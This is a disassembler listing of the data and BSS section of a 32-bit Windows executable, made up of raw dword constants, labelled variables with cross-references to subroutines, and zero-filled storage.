; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 000B3000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
CEF7B5AD	segment	para public 'BSS' use32
		assume cs:CEF7B5AD
		;org 4B3000h
		assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing
		dd 11C252EBh, 39814FFCh, 0F00D31CDh, 0E201DA0Bh, 67341E78h
		dd 0C66B419Fh, 814E7759h, 0E08D5D09h, 72D5C454h, 5F1583h
		dd 9C61A18Ch, 79BAEF27h, 0F9CB0ED5h, 0A8D57F09h, 0E2762FA8h
		dd 1ABCC40Bh, 684CA2B4h, 954636A1h, 9B1EB464h, 546953A8h
		dd 0CEB6DBC3h, 0AE964349h, 0FBD84DE1h, 37791F0Dh, 0DEF87A4Ch
		dd 3020A9Ch, 9B774124h,	0EFC16B56h, 5D2CC9EFh, 7EFA0B31h
		dd 136E1B35h, 8F583A90h, 71E18455h, 473BB7A8h, 98CD7D33h
		dd 89CF39AAh, 0A35FB484h, 0AAF06F2Bh, 0E04A4A97h, 70723A68h
		dd 244A4442h, 9BABAB9Fh, 9D53894Fh, 89455B86h, 0E0B8CD2Ah
		dd 0CDB0A7FDh, 9398C6CDh, 80FBEBF3h, 926A1A37h,	16BC71A5h
		dd 0B71349DAh, 0F3C18DB7h, 0CE7F43BFh, 99E8206h, 1F3A2785h
		dd 0AFFD15E0h, 0F7F20C40h, 9BE4D7DBh, 0CCAFF673h, 0E3D87718h
		dd 9F862CF1h, 1014AA4h,	0C5E56291h, 0A01A0149h,	5D1E179Eh
		dd 0E1ABF7C4h, 6A7ACB96h, 0A62469F1h, 7305116Ah, 0C883CE89h
		dd 83159A72h, 5D77D20h,	6EC54EF7h, 0EDDDCED7h, 497D4EACh
		dd 5A43EEFEh, 761CC960h, 440442B2h, 1ADEA37Ch, 7CBFF95Ah
		dd 313E439Fh, 0AE2143B1h, 87EFA3ACh, 7F7A4BD0h,	0C8889834h
		dd 0E0615083h, 2ACB2CA4h, 0B750AC6Eh, 0DCEF0543h, 0CFBDEE56h
		dd 0FB21BBEEh, 0A7D53BAEh, 0DF313DD0h, 0DF50BB58h, 47B3E592h
		dd 0E7BAC1h, 12D75BB6h,	5CAFF5D9h, 1FBB8CF4h, 5CF8B9A0h
		dd 1BEA735Ah, 0D5A5B64Eh, 8096C58Ah, 3DAFAF91h,	0F836DD03h
		dd 4931CF07h, 96BD3CB5h, 0E6463A82h, 0FBA29E9h,	6DB372E1h
		dd 0F80AC9BEh, 0ED9256EBh, 0BB7653F3h, 20EEFC09h, 0A6F020D4h
		dd 66B4B711h, 88492909h, 8CE2E8Eh, 0E452CE06h, 0B817321Dh
		dd 0CCB3366Fh, 8BF6533Fh, 0FC618251h, 4CF69D55h, 1299AC96h
		dd 5F0D38EBh, 7E454C53h, 26A822D6h, 6D9E3B42h, 0C9C19033h
		dd 14695B45h, 0B24B939Ch, 3B122EACh, 71395866h,	571F6B12h
		dd 0B0220309h, 59DF29AEh, 62EC4825h, 18F20D19h,	8A963FDEh
		dd 6981034Eh, 476F8AD5h, 9FF51D73h, 7BE2CDD3h, 0A267D484h
		dd 0FE14C1Bh, 0F80A0949h, 9B9256EBh, 2B32FC95h,	0B799270Eh
		dd 7088A22Bh, 44A3F2B9h, 0FF7BB7D3h, 0DDB8A9FEh, 0CB30BFDDh
		dd 6EF2E9BBh, 576C1325h, 70A9A93Eh, 0EEDD7434h,	0C051021Eh
		dd 0A21EC6CAh, 0D05B194Dh, 0BA27D39Eh, 7C61E09Ah, 0C8891FD7h
		dd 0FE422EE6h, 65242211h, 8C244AB3h, 0E22120E1h, 532A14DCh
		dd 0CFCD8555h, 113945D9h, 753EE3h, 272B07FEh, 40A204h
		dd 4F314A6Ah, 48EB3EB6h, 22CFB400h, 85E68354h, 0A6D4BF0Fh
		dd 92233B69h, 5F795693h, 63BB915Fh, 0B010F1E2h,	293C3267h
		dd 28454F78h, 0E775D2F1h, 0C8D09097h, 10896C12h, 5AB59E2Ch
		dd 14A6581h, 321E1F01h,	26717E12h, 71855FCCh, 47F370FFh
		dd 0DCED3CF1h, 46A70375h, 0D9D4E65Ch, 0FE6C22ABh, 3813C5DEh
		dd 76F7E84Bh, 2F6117C3h, 72DFCAEAh, 4F560853h, 8F753EEBh
		dd 25F7EC95h, 181282F0h, 2F31D970h, 136C949h, 64E0CA7Ah
		dd 862D5A9Dh, 0F24ED404h, 937740B1h, 4F2894E8h,	77A63BFBh
		dd 8CE29FEh, 1D6F6106h,	1AC3ADDEh, 368469D1h, 0A553C67Ch
		dd 15E2906Dh, 8BC824F1h, 0A7362687h, 0B6394717h, 0A897932Eh
		dd 0C2C8487Bh, 0B80629E4h, 7EC236E7h, 5BE30B47h, 0CA3ACF23h
		dd 894C2C87h, 0F97D6946h, 0FB3222B3h, 0F6454A82h, 0A6C04EF4h
		dd 81793B8Bh, 89579B36h, 735A01BFh, 3E3FF93Bh, 0EC1E351Bh
		dd 0AA5EC7C6h, 64700F57h, 37FB2473h, 2543D162h,	3E32F989h
		dd 10956B4Eh, 0A556F484h, 0A9A6EAC7h, 603E81CBh, 4523D2B3h
		dd 49C229FEh, 17554E22h, 2B13E317h, 0D0214522h,	0ECFA4287h
		dd 0B79CF2D7h, 0ABA79B7Fh, 0E588DD68h, 5EFB35A1h, 84379581h
		dd 0DD30FD42h, 0DE17CACCh, 0F80871F8h, 0E43956EBh, 0E9987290h
		dd 8819070Ah, 53A557A8h, 0E88ACEEh, 0A63C0FB8h,	54F4B64Fh
		dd 432B8752h, 5764B6EBh, 210E840Ch, 8BA62CDBh, 0DA208553h
		dd 539AF389h, 81055AEFh, 35F273D2h, 0D5F0006Bh,	8117FE4Ch
		dd 213A5999h, 8A5BDA7Ch, 0BB4661BFh, 68FAFF29h,	0DDCD40D9h
		dd 48A57387h, 893CC303h, 0BC2883C9h, 0F4237BAh,	99859E3Dh
		dd 4C95A74Eh, 805D01Fh,	899143CEh, 827AE914h, 75A4E0FCh
		dd 271FE733h, 0A98F736Dh, 0E2ADF08Bh, 7B0CC154h, 38F58912h
		dd 63A4BBA6h, 0C82ACBA3h, 0A3872CA2h, 0D2EA44E1h, 73CA968Dh
		dd 34BCBF2h, 2710DF03h,	0FC372AEBh, 0B68158B3h,	6DD7E1DBh
		dd 17FDF435h, 0B5827D77h, 18C96D11h, 0F94C432Ch, 9C3615D1h
		dd 0D5C6B2B8h, 2D9A1B58h, 9EABF03Fh, 66EC6DE8h,	0DC304DD3h
		dd 0BDBCF4C3h, 0CAE64381h, 0A068AF85h, 48EE345Fh, 32AA7B46h
		dd 0CE2005ECh, 697E4385h, 90894875h, 46800756h,	7B916C9Eh
		dd 663C3EB7h, 0A7A0FA43h, 77FD2C23h, 0D077A166h, 7F2C813Dh
		dd 9F148B52h, 2E9CFE2h,	4D6B9B9Dh, 36FBDED8h, 6CB7F717h
		dd 7071AD27h, 30E231DFh, 0BAF8772Eh, 2149EF1Ch,	1E8EBD6h
		dd 9F30B18Ch, 8AA28F67h, 0E8FAFED6h, 0DDE7E502h, 51862878h
		dd 414C6EC7h, 269FC05h,	2FAA9BDEh, 88B7F35Fh, 462B8206h
		dd 62F13DD1h, 0E3BEA3D8h, 4EA8B4EFh, 3705D506h,	0F5C4AA6Eh
		dd 8A4E56F5h, 5563953Eh, 88A0850Ah, 937BF162h, 11ED1861h
		dd 313D534Bh, 243E7A4Dh, 539FA87Fh, 8946F441h, 29154F06h
		dd 73EAF42Bh, 0D01A0E32h, 495B79Ch, 0D5B0BA78h,	57D3EC26h
		dd 0F0384F13h, 358233A6h, 69355700h, 0DA82731Ah, 35648FFAh
		dd 73F0F935h, 0AC0C7045h, 70763063h, 0B80DF8FEh, 3A269D83h
		dd 9BB91170h, 3BD29967h, 72D99F8Fh, 2DABE0FCh, 0FE868AC3h
		dd 94E2CC50h, 224624A5h, 0D90739F9h, 0CA378E3Bh, 4C794AEBh
		dd 753BD871h, 9F398322h, 26DD6DD6h, 797C6A24h, 0E227D64Eh
		dd 1CC34D99h, 6D87DABCh, 0EB9C7736h, 0BD3BDF1Dh, 33929869h
		dd 7EF8D75Fh, 0DC381A8Fh, 1FB4D2BCh, 0EEB52F21h, 3345534Bh
		dd 0CEDF5C2Dh, 0F9BEF088h, 269A504Ah, 0A2D23E1Dh, 8D99E24Eh
		dd 0FC48889Ah, 587B5BFAh, 0A98A4F65h, 4916AF5Eh, 87B46ED2h
		dd 0DC410250h, 0C14C9E86h, 3118A4Dh, 2490310Ah,	38137E77h
		dd 0AE209A72h, 0E6710E6Bh, 0CBD2593Ah, 0B5362E5Fh, 6919416Eh
		dd 0D29D732Eh, 0BDBCA2C6h, 4EDFAA8Ah, 0A24F941Fh, 7FEA22C1h
		dd 0F37A2862h, 0D6911174h, 0D6354AB6h, 21172AD4h, 0A99175E2h
		dd 0A4DAF5Eh, 0E246427Fh, 0A8CB2CA4h, 92F57697h, 94ADFC38h
		dd 6373A460h, 435CB2C4h, 68AC3C25h, 0F7F43886h,	0B764D7DBh
		dd 1C4DFBAFh, 0A24F94FCh, 0A6A93A43h, 168CADD2h, 7D361399h
		dd 0DE394BB6h
dword_4B3720	dd 1A892EDCh		; DATA XREF: sub_41E9A0+22r
					; _294ADE7B:004309E4r
dword_4B3724	dd 70F5AE79h		; DATA XREF: sub_41E9A0+28r
					; _294ADE7B:004309DEr
dword_4B3728	dd 0EC241227h		; DATA XREF: sub_41E9A0+46r
					; _294ADE7B:004309D8r
dword_4B372C	dd 903DCCDEh		; DATA XREF: sub_41EDB0+219r
					; _294ADE7B:004309EAr
dword_4B3730	dd 51000552h		; DATA XREF: sub_404890+E3Dr
					; sub_40D530+24Cr ...
dword_4B3734	dd 4708EE60h		; DATA XREF: sub_41E9A0+71r
					; _294ADE7B:004309D2r
dword_4B3738	dd 0B6BE48CFh		; DATA XREF: sub_41E6C0+D1r
					; sub_41EDB0+31Cr ...
dword_4B373C	dd 0F39E4982h		; DATA XREF: sub_41E1D0+49r
					; _294ADE7B:004309C6r
dword_4B3740	dd 456CF264h		; DATA XREF: _294ADE7B:0041E149r
					; _294ADE7B:004309C0r
dword_4B3744	dd 0A4013F45h		; DATA XREF: sub_41E060+76r
					; _294ADE7B:0041E174r ...
dword_4B3748	dd 93D1C406h		; DATA XREF: _294ADE7B:004309B4r
dword_4B374C	dd 1B9DA595h		; DATA XREF: sub_41E8D0+35r
					; _294ADE7B:004309AEr
dword_4B3750	dd 0C7BBA90Dh		; DATA XREF: sub_41E8D0+5Er
					; _294ADE7B:004309A8r
dword_4B3754	dd 0D9EAFBA9h		; DATA XREF: sub_41E8D0+52r
					; _294ADE7B:004309A2r
dword_4B3758	dd 416802AFh		; DATA XREF: sub_41E8D0+11r
					; sub_41EDB0+26r ...
dword_4B375C	dd 8856B8Ah		; DATA XREF: _294ADE7B:00430996r
dword_4B3760	dd 0BEEE89B3h		; DATA XREF: sub_40DB00+D7r
					; sub_40DB00+15Er ...
dword_4B3764	dd 0D4348AFEh		; DATA XREF: _294ADE7B:0043098Ar
dword_4B3768	dd 3F5C2BD2h		; DATA XREF: sub_40CFB0+22Cr
					; sub_40D530+22Cr ...
dword_4B376C	dd 0B2165607h		; DATA XREF: _294ADE7B:0043097Er
dword_4B3770	dd 26EC3569h		; DATA XREF: sub_404890+D65r
					; sub_41E6C0+B3r ...
dword_4B3774	dd 0A467FE9Dh		; DATA XREF: _294ADE7B:00430972r
dword_4B3778	dd 81820F66h		; DATA XREF: sub_404890+DE4r
					; sub_40D530+25Ar ...
		dd 3735ED27h, 0F7B8309Fh, 6243CA96h, 10D28CB8h,	0BE329AF1h
		dd 0E04CD689h, 57F33A68h, 6D0880F7h, 200EC402h,	0B6F9AA6Ch
		dd 0D76CA5D1h, 0A8214D58h, 0EDC0AD42h, 0A0AAB6EDh, 5AEAABB0h
dword_4B37B8	dd 0FE30911h		; DATA XREF: sub_430ADAr
		dd 0CD1B9D56h
		db 91h,	0A2h
word_4B37C2	dw 7C69h		; DATA XREF: sub_404890+1324o
		dd 3E19C315h, 0C317A284h, 1A672955h, 277B260Bh,	28742E63h
		dd 0FC2C7550h, 6A2A482Ah, 60D017D8h, 6B344E33h
dword_4B37E8	dd 0BF24E71Eh		; DATA XREF: _294ADE7B:00430954r
dword_4B37EC	dd 572CB8A4h		; DATA XREF: sub_42EA30+19r
					; _294ADE7B:0043094Er
dword_4B37F0	dd 2BE92D00h		; DATA XREF: sub_42EA30+22r
					; _294ADE7B:00430948r
dword_4B37F4	dd 54C8BB6h		; DATA XREF: sub_42E890+6Fr
					; _294ADE7B:00430942r
dword_4B37F8	dd 37C2D605h		; DATA XREF: sub_42E7F0:loc_42E815r
					; _294ADE7B:0043093Cr
dword_4B37FC	dd 0D623F1AFh		; DATA XREF: sub_42E730+6Cr
					; _294ADE7B:00430936r
dword_4B3800	dd 287D478Dh		; DATA XREF: sub_42E160+15r
					; sub_42E1B0+1Cr ...
dword_4B3804	dd 5B9A6C1Bh		; DATA XREF: sub_42DE60+45r
					; _294ADE7B:0043092Ar
dword_4B3808	dd 621A6D22h		; DATA XREF: _294ADE7B:0042DD49r
					; _294ADE7B:0042DDD9r ...
dword_4B380C	dd 4D3F410h		; DATA XREF: sub_42DB90+73r
					; _294ADE7B:0043091Er
dword_4B3810	dd 9F4146BDh		; DATA XREF: sub_42CC60+17r
					; _294ADE7B:00430918r
dword_4B3814	dd 0E8521824h		; DATA XREF: sub_42C4A0+35r
					; sub_42C540+35r ...
dword_4B3818	dd 945921A8h		; DATA XREF: sub_42C420+3Dr
					; sub_42C4A0+4Ar ...
dword_4B381C	dd 0D4AD3A4h		; DATA XREF: sub_42B6E0+4Br
					; _294ADE7B:00430906r
dword_4B3820	dd 6A7C2FDh		; DATA XREF: sub_42B570+4Fr
					; _294ADE7B:00430900r
dword_4B3824	dd 3D1FD154h		; DATA XREF: sub_42B410+32r
					; _294ADE7B:004308FAr
dword_4B3828	dd 8E7FCDF6h		; DATA XREF: sub_42B410+57r
					; _294ADE7B:004308F4r
dword_4B382C	dd 34BCC6Eh		; DATA XREF: _294ADE7B:0042B3AFr
					; sub_42BC70+34r ...
dword_4B3830	dd 0EAAE0303h		; DATA XREF: sub_42B320+1Er
					; sub_42B410+73r ...
dword_4B3834	dd 4CA4388h		; DATA XREF: _294ADE7B:0042A4F8r
					; _294ADE7B:004308E2r
dword_4B3838	dd 0DD53B6D4h		; DATA XREF: _294ADE7B:0042A526r
					; _294ADE7B:004308DCr
dword_4B383C	dd 0C4D13DCCh		; DATA XREF: _294ADE7B:0042A53Dr
					; _294ADE7B:004308D6r
dword_4B3840	dd 213791F2h		; DATA XREF: _294ADE7B:0042A54Dr
					; sub_42B0F0+C3r ...
dword_4B3844	dd 0DF6EDA7Ch		; DATA XREF: _294ADE7B:0042A56Br
					; _294ADE7B:004308CAr
dword_4B3848	dd 0FF665E00h		; DATA XREF: sub_42A250+47r
					; _294ADE7B:0042A357r ...
dword_4B384C	dd 8BA35FFh		; DATA XREF: sub_42A250+63r
					; _294ADE7B:0042A373r ...
dword_4B3850	dd 13710A80h		; DATA XREF: _294ADE7B:0042A070r
					; sub_42BC70+78r ...
dword_4B3854	dd 3603F8FFh		; DATA XREF: sub_425310+34r
					; _294ADE7B:004308B2r
dword_4B3858	dd 0FFA5B1E7h		; DATA XREF: _294ADE7B:00424D7Ar
					; _294ADE7B:004308ACr
dword_4B385C	dd 3315FF11h		; DATA XREF: _294ADE7B:00422700r
					; _294ADE7B:0042293Er ...
dword_4B3860	dd 0C6CC27ACh		; DATA XREF: _294ADE7B:0042270Br
					; sub_42B8A0+B1r ...
dword_4B3864	dd 0AEF0007Ah		; DATA XREF: _294ADE7B:0042273Cr
					; sub_426E00+110r ...
dword_4B3868	dd 6FF0323Dh		; DATA XREF: _294ADE7B:00422411r
					; sub_42A6E0+8r ...
dword_4B386C	dd 0E96FBB3Bh		; DATA XREF: _294ADE7B:004224A7r
					; sub_42A6E0+2Ar ...
dword_4B3870	dd 38FDC0FFh		; DATA XREF: _294ADE7B:004225BFr
					; _294ADE7B:00422956r ...
dword_4B3874	dd 8CA6296Fh		; DATA XREF: sub_41E9A0+1Br
					; sub_42B410+4Dr ...
dword_4B3878	dd 36E6F464h		; DATA XREF: sub_41E9A0+3Fr
					; sub_42B410+38r ...
dword_4B387C	dd 0B4BF1E46h		; DATA XREF: sub_41E560+41r
					; sub_41E9A0+BEr ...
dword_4B3880	dd 0D359659Bh		; DATA XREF: sub_41E560+D5r
					; sub_41E9A0+CDr ...
dword_4B3884	dd 0C8A0FF87h		; DATA XREF: _294ADE7B:0041E2AFr
					; _294ADE7B:00430864r
dword_4B3888	dd 6260EBE9h		; DATA XREF: _294ADE7B:0041E2B9r
					; _294ADE7B:0043085Er
dword_4B388C	dd 63FF1956h		; DATA XREF: _294ADE7B:0041E2C2r
					; _294ADE7B:00430858r
dword_4B3890	dd 707D2425h		; DATA XREF: _294ADE7B:0041A834r
					; _294ADE7B:0041A9A4r ...
dword_4B3894	dd 0FF436AB5h		; DATA XREF: _294ADE7B:0043084Cr
dword_4B3898	dd 82835415h		; DATA XREF: sub_41E9A0+94r
					; _294ADE7B:loc_422808r ...
dword_4B389C	dd 701D15F3h		; DATA XREF: _294ADE7B:00430840r
dword_4B38A0	dd 881A28FFh		; DATA XREF: _294ADE7B:00424DABr
					; _294ADE7B:0043083Ar
dword_4B38A4	dd 264908CFh		; DATA XREF: sub_41EB00+39r
					; sub_426A30+11r ...
dword_4B38A8	dd 0CD19FF76h		; DATA XREF: sub_40C310+A9r
					; sub_41EB00:loc_41EB4Cr ...
dword_4B38AC	dd 264AEE0Fh		; DATA XREF: sub_40C310+352r
					; _294ADE7B:00430828r
dword_4B38B0	dd 0EFC62743h		; DATA XREF: _294ADE7B:00430822r
dword_4B38B4	dd 7CFF917Eh		; DATA XREF: _294ADE7B:0040C242r
					; _294ADE7B:00424D47r ...
dword_4B38B8	dd 0E7736D72h		; DATA XREF: _294ADE7B:00430816r
dword_4B38BC	dd 0E3FD4E5Bh		; DATA XREF: _294ADE7B:00430810r
dword_4B38C0	dd 0E44911E0h		; DATA XREF: _294ADE7B:0041E277r
					; sub_41EB00+25r ...
dword_4B38C4	dd 0BB16F46h		; DATA XREF: sub_41F2A0+14r
					; _294ADE7B:00430804r
dword_4B38C8	dd 340B3A55h		; DATA XREF: _294ADE7B:0040C271r
					; sub_41E560+E1r ...
dword_4B38CC	dd 81D2FFE0h		; DATA XREF: sub_416980+5r
					; sub_416AE0+C5r ...
dword_4B38D0	dd 279204C5h		; DATA XREF: sub_404840+2r
					; sub_40C310+332r ...
dword_4B38D4	dd 301B1DDBh		; DATA XREF: sub_41E6C0+136r
					; _294ADE7B:004307BCr
dword_4B38D8	dd 0BDA3FF51h		; DATA XREF: _294ADE7B:004307C2r
dword_4B38DC	dd 0B00883Fh		; DATA XREF: sub_41A740+3Br
					; _294ADE7B:004307C8r
dword_4B38E0	dd 55FE552Eh		; DATA XREF: sub_41BE00+17Br
					; _294ADE7B:004307CEr
dword_4B38E4	dd 162E5648h		; DATA XREF: sub_41A020+6Cr
					; _294ADE7B:004307D4r
dword_4B38E8	dd 570D6E69h		; DATA XREF: _294ADE7B:004307DAr
dword_4B38EC	dd 0E1065DFDh		; DATA XREF: _294ADE7B:004307E0r
dword_4B38F0	dd 77B2DDC0h		; DATA XREF: sub_409590+13r
					; _294ADE7B:004307E6r
dword_4B38F4	dd 0F9FCFFh		; DATA XREF: _294ADE7B:004307ECr
dword_4B38F8	dd 0			; DATA XREF: _294ADE7B:004307F2r
dword_4B38FC	dd 0FF800400h		; DATA XREF: _294ADE7B:0041E29Ar
					; _294ADE7B:0043086Ar
		dd 19h dup(0)
dword_4B3964	dd 0			; DATA XREF: sub_430AC2r
dword_4B3968	dd 0			; DATA XREF: sub_430AB6r
dword_4B396C	dd 0			; DATA XREF: sub_430ABCr
		dd 0Bh dup(0)
dword_4B399C	dd 0			; DATA XREF: sub_41E6C0+113r
					; _294ADE7B:0043079Er
dword_4B39A0	dd 0			; DATA XREF: sub_41E6C0+11Dr
					; _294ADE7B:00430798r
dword_4B39A4	dd 0			; DATA XREF: sub_41E6C0+E5r
					; _294ADE7B:00430792r
dword_4B39A8	dd 0			; DATA XREF: _294ADE7B:0043078Cr
dword_4B39AC	dd 0			; DATA XREF: sub_41E6C0+147r
					; _294ADE7B:00430786r ...
dword_4B39B0	dd 0			; DATA XREF: _294ADE7B:loc_430780r
dword_4B39B4	dd 0			; DATA XREF: _294ADE7B:0043077Ar
dword_4B39B8	dd 0			; DATA XREF: _294ADE7B:00430774r
dword_4B39BC	dd 0			; DATA XREF: sub_41E6C0+EBr
dword_4B39C0	dd 0			; DATA XREF: sub_41E6C0+105r
					; _294ADE7B:004307A4r
		dd 0Dh dup(0)
dword_4B39F8	dd 0			; DATA XREF: _294ADE7B:00430762r
dword_4B39FC	dd 0			; DATA XREF: _294ADE7B:0043075Cr
dword_4B3A00	dd 0			; DATA XREF: _294ADE7B:00430756r
dword_4B3A04	dd 0			; DATA XREF: sub_427DF0+58r
					; _294ADE7B:00430AECr
		dd 0
dword_4B3A0C	dd 0			; DATA XREF: _294ADE7B:0043074Cr
dword_4B3A10	dd 0			; DATA XREF: _294ADE7B:00430734r
dword_4B3A14	dd 0			; DATA XREF: _294ADE7B:0043072Er
		dd 0
dword_4B3A1C	dd 0			; DATA XREF: _294ADE7B:00430728r
dword_4B3A20	dd 0			; DATA XREF: _294ADE7B:00430722r
dword_4B3A24	dd 0			; DATA XREF: sub_4303E4+Dr
dword_4B3A28	dd 0			; DATA XREF: sub_43071Cr
dword_4B3A2C	dd 0			; DATA XREF: sub_430716r
dword_4B3A30	dd 0			; DATA XREF: _294ADE7B:0042CB94r
					; _294ADE7B:004305B2r
dword_4B3A34	dd 0			; DATA XREF: sub_4305ACr
dword_4B3A38	dd 0			; DATA XREF: sub_4305A6r
dword_4B3A3C	dd 0			; DATA XREF: _294ADE7B:0042B2EBr
					; _294ADE7B:0042C864r ...
dword_4B3A40	dd 0			; DATA XREF: sub_42B0F0+96r
					; _294ADE7B:0043059Ar
dword_4B3A44	dd 0			; DATA XREF: sub_4295A0+19Br
					; _294ADE7B:00430594r
dword_4B3A48	dd 0			; DATA XREF: sub_428FC0+E0r
					; sub_428FC0+100r ...
dword_4B3A4C	dd 0			; DATA XREF: sub_428270+32r
					; sub_428340+77r ...
dword_4B3A50	dd 0			; DATA XREF: sub_428020+A1r
					; sub_428C00+5Fr ...
dword_4B3A54	dd 0			; DATA XREF: sub_428020+AAr
					; sub_428C00+68r ...
dword_4B3A58	dd 0			; DATA XREF: sub_4279B0+61r
					; sub_4279B0+EFr ...
dword_4B3A5C	dd 0			; DATA XREF: sub_4279B0+76r
dword_4B3A60	dd 0			; DATA XREF: _294ADE7B:00430768r
dword_4B3A64	dd 0			; DATA XREF: sub_4279B0+193r
					; sub_428720+301r ...
dword_4B3A68	dd 0			; DATA XREF: sub_427930+19r
					; sub_427CB0+4Ar ...
dword_4B3A6C	dd 0			; DATA XREF: sub_427930+29r
					; sub_427CB0+3Fr ...
dword_4B3A70	dd 0			; DATA XREF: sub_421E50+4Dr
					; sub_428720+114r ...
dword_4B3A74	dd 0			; DATA XREF: sub_421170+804r
					; _294ADE7B:00430558r
dword_4B3A78	dd 0			; DATA XREF: _294ADE7B:0041E2CDr
					; sub_4295A0+154r ...
dword_4B3A7C	dd 0			; DATA XREF: sub_41D500+571r
					; sub_41D500+587r ...
dword_4B3A80	dd 0			; DATA XREF: sub_41D500+578r
					; _294ADE7B:0041F398r ...
dword_4B3A84	dd 0			; DATA XREF: sub_41D500+5B4r
					; sub_4295A0+DCr ...
dword_4B3A88	dd 0			; DATA XREF: sub_41BE00+4BAr
					; sub_41BE00+508r ...
dword_4B3A8C	dd 0			; DATA XREF: _294ADE7B:0041A83Ar
					; _294ADE7B:0041A9AAr ...
dword_4B3A90	dd 0			; DATA XREF: _294ADE7B:0041A32Ar
					; sub_41BE00+3CEr ...
dword_4B3A94	dd 0			; DATA XREF: _294ADE7B:0041A338r
					; sub_41BE00+519r ...
dword_4B3A98	dd 0			; DATA XREF: sub_43043Ar
dword_4B3A9C	dd 0			; DATA XREF: sub_41A020:loc_41A102r
					; sub_41A020+17Er ...
dword_4B3AA0	dd 0			; DATA XREF: sub_41A020+178r
					; _294ADE7B:00422345r ...
dword_4B3AA4	dd 0			; DATA XREF: sub_43076Er
dword_4B3AA8	dd 0			; DATA XREF: sub_421170+6C0r
					; sub_421170+897r ...
dword_4B3AAC	dd 0			; DATA XREF: sub_422BB0+Ar
					; sub_422BF0+A0r ...
dword_4B3AB0	dd 0			; DATA XREF: sub_41EDB0+24Er
					; sub_422A90+9r ...
dword_4B3AB4	dd 0			; DATA XREF: sub_40C310+399r
					; sub_421170+37Cr ...
dword_4B3AB8	dd 0			; DATA XREF: sub_41BE00+6B4r
					; _294ADE7B:0042CB52r ...
dword_4B3ABC	dd 0			; DATA XREF: _294ADE7B:0040C0F6r
					; sub_41BE00+495r ...
dword_4B3AC0	dd 0			; DATA XREF: _294ADE7B:004303C6r
dword_4B3AC4	dd 0			; DATA XREF: sub_409C20+1r
					; sub_421170+701r ...
dword_4B3AC8	dd 0			; DATA XREF: _294ADE7B:00430388r
dword_4B3ACC	dd 0			; DATA XREF: sub_430382r
dword_4B3AD0	dd 0			; DATA XREF: _294ADE7B:00430350r
dword_4B3AD4	dd 0			; DATA XREF: sub_43034Ar
dword_4B3AD8	dd 0			; DATA XREF: sub_4068E0+B2r
					; _294ADE7B:0041A3BDr ...
dword_4B3ADC	dd 0			; DATA XREF: sub_409CE0+18r
					; sub_40EB00+1126r ...
dword_4B3AE0	dd 0			; DATA XREF: sub_4181B0+10r
					; _294ADE7B:004182AAr ...
dword_4B3AE4	dd 0			; DATA XREF: sub_430332r
dword_4B3AE8	dd 0			; DATA XREF: sub_404890+14CBr
					; _294ADE7B:0043032Cr
dword_4B3AEC	dd 0			; DATA XREF: sub_41BE00+10Br
					; sub_41CC30+567r ...
dword_4B3AF0	dd 0			; DATA XREF: sub_430320r
dword_4B3AF4	dd 0			; DATA XREF: sub_430316r
dword_4B3AF8	dd 0			; DATA XREF: sub_4279B0:loc_427A42r
dword_4B3AFC	dd 0			; DATA XREF: sub_4178D0+137r
					; sub_41E560+C6r ...
dword_4B3B00	dd 0			; DATA XREF: sub_4279B0+2Dr
					; _294ADE7B:00430AE6r
dword_4B3B04	dd 0			; DATA XREF: sub_4279B0+87r
					; _294ADE7B:00430570r
		dd 18h dup(0)
dword_4B3B68	dd 0			; DATA XREF: sub_4302F8r
dword_4B3B6C	dd 0			; DATA XREF: sub_430310r
dword_4B3B70	dd 0			; DATA XREF: sub_43030Ar
dword_4B3B74	dd 0			; DATA XREF: sub_430304r
dword_4B3B78	dd 0			; DATA XREF: sub_4302FEr
		dd 0Ch dup(0)
dword_4B3BAC	dd 0			; DATA XREF: sub_430ACEr
dword_4B3BB0	dd 0			; DATA XREF: sub_430AD4r
dword_4B3BB4	dd 0			; DATA XREF: sub_430AC8r
		dd 0Bh dup(0)
dword_4B3BE4	dd 0			; DATA XREF: sub_41A700+15r
					; _294ADE7B:004309F0r
		dd 0Bh dup(0)
dword_4B3C14	dd 0			; DATA XREF: sub_41C890+4Dr
					; sub_41C890+9Cr ...
dword_4B3C18	dd 0			; DATA XREF: _294ADE7B:0041858Dr
					; sub_418620+2Dr ...
		dd 0Bh dup(0)
dword_4B3C48	dd 0			; DATA XREF: sub_430A38r
dword_4B3C4C	dd 0			; DATA XREF: sub_4178D0+1BEr
					; _294ADE7B:00430A3Er
dword_4B3C50	dd 0			; DATA XREF: _294ADE7B:00430A44r
dword_4B3C54	dd 0			; DATA XREF: sub_41D500+D8r
					; _294ADE7B:0041E4CBr ...
dword_4B3C58	dd 0			; DATA XREF: sub_41D500+8Br
					; sub_41E420+57r ...
dword_4B3C5C	dd 0			; DATA XREF: sub_418980+118r
					; sub_418DA0+48r ...
dword_4B3C60	dd 0			; DATA XREF: sub_418980+C5r
					; _294ADE7B:00422179r ...
dword_4B3C64	dd 0			; DATA XREF: sub_41D500+FEr
					; _294ADE7B:0041E4E9r ...
dword_4B3C68	dd 0			; DATA XREF: sub_430A68r
dword_4B3C6C	dd 0			; DATA XREF: sub_41BE00+464r
					; sub_41BE00+4DCr ...
dword_4B3C70	dd 0			; DATA XREF: _294ADE7B:00430A32r
dword_4B3C74	dd 0			; DATA XREF: sub_421F40+5Er
					; sub_427080+E5r ...
dword_4B3C78	dd 0			; DATA XREF: sub_421E10+15r
					; sub_423510+8r ...
dword_4B3C7C	dd 0			; DATA XREF: sub_421E10+Dr
					; _294ADE7B:00430A86r
dword_4B3C80	dd 0			; DATA XREF: _294ADE7B:004221D4r
					; _294ADE7B:00430A8Cr
dword_4B3C84	dd 0			; DATA XREF: _294ADE7B:0042216Cr
					; sub_427480+286r ...
dword_4B3C88	dd 0			; DATA XREF: sub_427480+CFr
					; sub_430A98r
dword_4B3C8C	dd 0			; DATA XREF: sub_427480+A6r
					; _294ADE7B:00430A9Er
dword_4B3C90	dd 0			; DATA XREF: sub_430AA4r
dword_4B3C94	dd 0			; DATA XREF: sub_430AAAr
dword_4B3C98	dd 0			; DATA XREF: sub_430AB0r
dword_4B3C9C	dd 0			; DATA XREF: sub_41BE00+392r
					; sub_41D500+CCr ...
dword_4B3CA0	dd 0			; DATA XREF: sub_421170+66r
					; sub_421170+7D3r ...
dword_4B3CA4	dd 0			; DATA XREF: sub_41E320+12r
					; _294ADE7B:00425802r ...
